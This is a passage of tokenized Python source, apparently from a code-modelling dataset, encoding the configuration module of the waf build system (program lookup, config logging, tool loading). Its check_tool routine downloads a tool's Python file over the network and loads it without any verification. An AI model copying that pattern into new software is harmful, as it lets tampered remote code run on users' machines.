")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "os_", "._", "path_", "._", "join_", "(_", "directory_", ",_", "filename_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "return_", "directory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "\\u", "program", "\\u", "impl_", "(_", "env_", ",_", "filename_", ",_", "path", "\\u", "list_", "=_", "[_", "]_", ",_", "var_", "=_", "None_", ",_", "environ_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "find", " ", "a", " ", "program", " ", "in", " ", "folder", "s", " ", "path", "\\u", "lst", ",", " ", "and", " ", "sets", " ", "env", "[", "var", "]", "\\", "10", ";", "\t", "@", "param", " ", "env", ":", " ", "environ", "ment", "\\", "10", ";", "\t", "@", "param", " ", "filename", ":", " ", "name", " ", "of", " ", "the", " ", "program", " ", "to", " ", "search", " ", "for", "\\", "10", ";", "\t", "@", "param", " ", "path", "\\u", "list", ":", " ", "list", " ", "of", " ", "director", "ies", " ", "to", " ", "search", " ", "for", " ", "filename", "\\", "10", ";", "\t", "@", "param", " ", "var", ":", " ", "environ", "ment", " ", "value", " ", "to", " ", "be", " ", "checke", "d", " ", "for", " ", "in", " ", "env", " ", "or", " ", "os", ".", "environ", "\\", "10", ";", "\t", "@", "return", ":", " ", "eit", "her", " ", "the", " ", "value", " ", "tha", "t", " ", "is", " ", "referenced", " ", "with", " ", "[", "var", "]", " ", "in", " ", "env", " ", "or", " ", "os", ".", "environ", "\\", "10", ";", " ", " ", " ", " ", " ", "or", " ", "the", " ", "first", " ", "occurrence", " ", "filename", " ", "or", " ", "''", " ", "if", " ", "filename", " ", "coul", "d", " ", "not", " ", "be", " ", "found", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "environ_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "environ_", "=_", "os_", "._", "environ_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "path", "\\u", "list_", "=_", "path", "\\u", "list_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "env_", "[_", "var_", "]_", ":_", "return_", "env_", "[_", "var_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "var_", "in_", "environ_", ":_", "env_", "[_", "var_", "]_", "=_", "environ_", "[_", "var_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "path", "\\u", "list_", ":_", "path", "\\u", "list_", "=_", "environ_", "._", "get_", "(_", "'", "PATH", "'_", ",_", "''_", ")_", "._", "split_", "(_", "os_", "._", "pathsep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ext_", "=_", "(_", "Options_", "._", "platform_", "==_", "'", "win32", "'_", ")_", "and_", "'.", "exe", ",.", "com", ",.", "bat", ",.", "cmd", "'_", "or_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "y_", "in_", "[_", "filename_", "+_", "x_", "for_", "x_", "in_", "ext_", "._", "split_", "(_", "','_", ")_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "directory_", "in_", "path", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "x_", "=_", "os_", "._", "path_", "._", "join_", "(_", "directory_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "var_", ":_", "env_", "[_", "var_", "]_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "tests_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error", "\\u", "handlers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", " ", "remove", " ", "in", " ", "waf", " ", "1.6_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "parameter", " ", "'", "option", "'", " ", "is", " ", "not", " ", "used", " ", "(", "kep", "t", " ", "for", " ", "compatibility", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "env_", "=_", "None_", ",_", "bld", "dir_", "=_", "''_", ",_", "srcdir_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "env_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "env", "name_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "environ_", "=_", "dict_", "(_", "os_", "._", "environ_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "line", "\\u", "just", "_", "=_", "40_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "bld", "dir_", "=_", "bld", "dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "srcdir_", "=_", "srcdir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "all", "\\u", "envs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "cur", "dir", ":", " ", "necessar", "y", " ", "for", " ", "recursion", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "cwd_", "=_", "self_", "._", "curdir_", "=_", "os_", "._", "getcwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "tools_", "=_", "[_", "]_", "#", " ", "tool", "s", " ", "load", "ed", " ", "in", " ", "the", " ", "configura", "tion", ",", " ", "and", " ", "tha", "t", " ", "will", " ", "be", " ", "load", "ed", " ", "whe", "n", " ", "building_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sete", "nv_", "(_", "DEFAULT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "lastp", "rog", "_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "hash_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "tool", "\\u", "cache_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "bld", "dir_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "post", "\\u", "init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post", "\\u", "init_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "cachedir", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "bld", "dir_", ",_", "CACHE", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "bld", "dir_", ",_", "WA", "F", "\\u", "CONFIG", "\\u", "LOG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "os_", "._", "unlink_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "(_", "OSE", "rror_", ",_", "IO", "Error_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "log_", "=_", "open_", "(_", "path_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "OSE", "rror_", ",_", "IO", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "fatal_", "(_", "'", "coul", "d", " ", "not", " ", "open", " ", "%", "r", " ", "for", " ", "writ", "ing", "'_", "%_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "app_", "=_", "Utils_", "._", "g", "\\u", "module_", "._", "APP", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "app_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ver_", "=_", "getattr_", "(_", "Utils_", "._", "g", "\\u", "module_", ",_", "'", "VERSI", "ON", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ver_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "app_", "=_", "\"%", "s", " ", "(%", "s", ")\"_", "%_", "(_", "app_", ",_", "ver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "now_", "=_", "time_", "._", "ctime_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pyv", "er_", "=_", "sys_", "._", "hex", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "syst", "ype_", "=_", "sys_", "._", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "sys_", "._", "argv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "waf", "ver_", "=_", "WA", "FV", "ERS", "ION_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "abi", "_", "=_", "ABI", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "conf", "\\u", "template_", "%_", "vars_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "clean", "up", " ", "function", ":", " ", "close", " ", "config", ".", "log", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "may", " ", "be", " ", "ran", " ", "by", " ", "the", " ", "gc", ",", " ", "not", " ", "alw", "ay", "s", " ", "after", " ", "initialization", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", ",_", "'", "log", "'_", ")_", "and_", "self_", "._", "log_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "log_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fatal_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Configura", "tion", "Error_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "tool_", "(_", "self_", ",_", "input_", ",_", "tool", "dir_", "=_", "None_", ",_", "fun", "s_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "load", " ", "a", " ", "waf", " ", "tool", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tools_", "=_", "Utils_", "._", "to", "\\u", "list_", "(_", "input_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tool", "dir_", ":_", "tool", "dir_", "=_", "Utils_", "._", "to", "\\u", "list_", "(_", "tool", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tool_", "in_", "tools_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "tool_", "=_", "tool_", "._", "replace_", "(_", "'+", "+'_", ",_", "'", "xx", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tool_", "==_", "'", "java", "'_", ":_", "tool_", "=_", "'", "java", "w", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tool_", "._", "lower_", "(_", ")_", "==_", "'", "unittest", "'_", ":_", "tool_", "=_", "'", "unittest", "w", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "avoid", " ", "load", "ing", " ", "the", " ", "same", " ", "tool", " ", "more", " ", "than", " ", "onc", "e", " ", "with", " ", "the", " ", "same", " ", "functions_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "used", " ", "by", " ", "composi", "te", " ", "projects_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mag_", "=_", "(_", "tool_", ",_", "id_", "(_", "self_", "._", "env_", ")_", ",_", "fun", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mag_", "in_", "self_", "._", "tool", "\\u", "cache_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "tool", "\\u", "cache_", "._", "append_", "(_", "mag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "tool", "dir_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "the", " ", "tool", " ", "exist", "s", " ", "in", " ", "the", " ", "Tool", "s", " ", "or", " ", "3", "rdp", "art", "y", " ", "folders_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "Tools_", "=_", "Options_", "._", "tool", "dir_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "3", "rdp", "art", "y_", "=_", "os_", "._", "sep_", "._", "join_", "(_", "(_", "\\u", "Tools_", ",_", "'..'_", ",_", "'", "3", "rdp", "art", "y", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "d_", "in_", "(_", "\\u", "Tools_", ",_", "\\u", "3", "rdp", "art", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "lst_", "=_", "os_", "._", "listdir_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tool_", "+_", "'.", "py", "'_", "in_", "lst_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "try", " ", "to", " ", "download", " ", "the", " ", "tool", " ", "from", " ", "the", " ", "repos", "itor", "y", " ", "then_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "for_", "x_", "in_", "Utils_", "._", "to", "\\u", "list_", "(_", "Options_", "._", "remote", "\\u", "repo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "for_", "sub_", "in_", "[_", "'", "branch", "es", "/", "waf", "-%", "s", "/", "waf", "admin", "/", "3", "rdp", "art", "y", "'_", "%_", "WA", "FV", "ERS", "ION_", ",_", "'", "trunk", "/", "waf", "admin", "/", "3", "rdp", "art", "y", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "url_", "=_", "'/'_", "._", "join_", "(_", "(_", "x_", ",_", "sub_", ",_", "tool_", "+_", "'.", "py", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "web_", "=_", "urlopen_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "web_", "._", "getco", "de_", "(_", ")_", "!=_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t\t_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "on", " ", "python", "3", " ", "urlo", "pen", " ", "throw", "s", " ", "an", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t\t_", "loc_", "=_", "open_", "(_", "\\u", "3", "rdp", "art", "y_", "+_", "os_", "._", "sep_", "+_", "tool_", "+_", "'.", "py", "'_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc_", "._", "write_", "(_", "web_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "web_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t\t_", "loc_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Logs_", "._", "warn_", "(_", "'", "download", "ed", " ", "%", "s", " ", "from", " ", "%", "s", "'_", "%_", "(_", "tool_", ",_", "url_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "module_", "=_", "Utils_", "._", "load", "\\u", "tool_", "(_", "tool_", ",_", "tool", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "fun", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "self_", "._", "eval", "\\u", "rules_", "(_", "fun", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "func_", "=_", "getattr_", "(_", "module_", ",_", "'", "detect", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "func_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "type_", "(_", "func_", ")_", "is_", "type_", "(_", "find", "\\u", "file_", ")_", ":_", "func_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "self_", "._", "eval", "\\u", "rules_", "(_", "func_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "tools_", "._", "append_", "(_", "{_", "'", "tool", "'_", ":_", "tool_", ",_", "'", "tool", "dir", "'_", ":_", "tool", "dir_", ",_", "'", "fun", "s", "'_", ":_", "fun", "s_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sub\\u", "config_", "(_", "self_", ",_", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "execute", "s", " ", "the", " ", "configur", "e", " ", "function", " ", "of", " ", "a", " ", "wsc", "ript", " ", "module", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "recurse_", "(_", "k_", ",_", "name_", "=_", "'", "configur", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pre", "\\u", "recurse_", "(_", "self_", ",_", "name", "\\u", "or", "\\u", "mod_", ",_", "path_", ",_", "nex", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "{_", "'", "conf", "'_", ":_", "self_", ",_", "'", "ctx", "'_", ":_", "self_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post", "\\u", "recurse_", "(_", "self_", ",_", "name", "\\u", "or", "\\u", "mod_", ",_", "path_", ",_", "nex", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "not_", "autocon", "fig_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", 